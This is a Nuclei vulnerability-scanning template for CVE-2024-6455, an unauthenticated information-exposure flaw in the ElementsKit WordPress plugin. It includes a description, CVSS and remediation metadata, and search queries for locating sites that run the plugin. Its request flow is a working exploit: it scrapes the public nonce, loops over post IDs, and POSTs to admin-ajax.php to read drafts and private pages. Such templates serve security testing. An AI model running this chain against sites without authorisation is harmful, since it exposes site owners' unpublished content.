The ElementsKit Elementor addons plugin for WordPress through 3.2.0 is vulnerable to information exposure due to a missing capability and post-status check on the ekit_widgetarea_content function, which is registered for unauthenticated users (wp_ajax_nopriv). An unauthenticated attacker who obtains the public ekit_pro nonce (exposed in the ekit_config object on any Elementor front-end page) can POST to admin-ajax.php with action=ekit_widgetarea_content and an arbitrary post_id to render and read the Elementor content of any item, including drafts, pending and private posts, pages and templates.
id: CVE-2024-6455
info:
name: ElementsKit Elementor Addons <= 3.2.0 - Unauthenticated Information Exposure
author: DhiyaneshDk
severity: medium
description: |
The ElementsKit Elementor addons plugin for WordPress through 3.2.0 is vulnerable to information exposure due to a missing capability and post-status check on the ekit_widgetarea_content function, which is registered for unauthenticated users (wp_ajax_nopriv). An unauthenticated attacker who obtains the public ekit_pro nonce (exposed in the ekit_config object on any Elementor front-end page) can POST to admin-ajax.php with action=ekit_widgetarea_content and an arbitrary post_id to render and read the Elementor content of any item, including drafts, pending and private posts, pages and templates.
impact: |
An unauthenticated attacker can read the Elementor-built content of non-published (draft, pending, private) posts, pages and templates.
remediation: |
Update the ElementsKit Elementor addons plugin to version 3.2.1 or later, which restricts the ekit_widgetarea_content handler to posts with the 'publish' status.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7c336530-09b2-4ead-923f-f1a6266e3e8e
- https://plugins.trac.wordpress.org/browser/elementskit-lite/tags/3.2.0/modules/controls/widget-area-utils.php#L15
- https://nvd.nist.gov/vuln/detail/CVE-2024-6455
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-6455
epss-score: 0.00829
epss-percentile: 0.58782
cwe-id: CWE-862
cpe: cpe:2.3:a:wpmet:elementskit:*:*:*:*:lite:wordpress:*:*
metadata:
verified: true
max-request: 41
vendor: wpmet
product: elementskit
framework: wordpress
fofa-query: body="/wp-content/plugins/elementskit-lite/"
publicwww-query: "/wp-content/plugins/elementskit-lite/"
tags: cve,cve2024,wp-plugin,wp,wordpress,elementskit,elementskit-lite,unauth,disclosure,exposure,wpmet,vkev
flow: |
http(1);
for (let id = 1; id <= 20; id++) {
set("pid", id.toString());
if (!http(2)) {
if (http(3)) {
break;
}
}
}
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
internal: true
group: 1
regex:
- 'ekit_config = \{"ajaxurl":"[^"]*","nonce":"([0-9a-f]+)"'
- raw:
- |
GET /?page_id={{pid}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'data-elementor-id="{{pid}}"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=ekit_widgetarea_content&nonce={{nonce}}&post_id={{pid}}
matchers:
- type: word
part: body
words:
- 'data-elementor-id="{{pid}}"'
- "elementor-element"
condition: and
# digest: 490a0046304402205fcc8e2099ff5676794b80d3105af24d60e222cacbad02ec37042c4059ae950602204cfd5dd3cfa2886eba56ea30e3b93ea225bddcf925445161ba42218ad11ef587:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.